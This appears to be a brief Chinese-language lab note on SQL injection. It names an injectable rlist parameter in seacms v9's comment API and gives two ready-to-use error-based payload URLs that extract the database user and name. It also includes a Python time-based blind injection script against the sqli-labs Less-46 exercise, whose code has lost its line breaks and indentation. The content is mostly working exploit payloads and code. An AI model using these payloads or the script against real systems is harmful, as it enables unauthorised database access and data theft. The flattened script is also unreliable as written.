seacmsv9存在SQL注入漏洞，漏洞文件是./comment/api/index.php，在网页代码中找到用户提交的rlist参数，攻击者可以在rlist参数处注入SQL代码，构造恶意rlist参数
http://127.0.0.1/seacmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20user()))),@`%27`
http://127.0.0.1/seacmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,database())),@`%27`
输入?sort=rand(true)和?sort=rand(false)时，页面排序结果不同，则看通过构造条件表达式来出发不同的回显。
import requestsimport timedef inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:# 构造时间盲注payloadpayload = "if((ascii(substr(database(),%d,1))>%d),sleep(1),1)" % (i, mid)# 传参params = {"sort": payload}start_time = time.time()# 异常处理try:r = requests.get(url, params=params, timeout=20)except requests.Timeout:print("Request timed out.")continueend_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)if __name__ == "__main__":url = 'http://127.0.0.1/sqli-labs-php7/Less-46/index.php'inject_database(url)
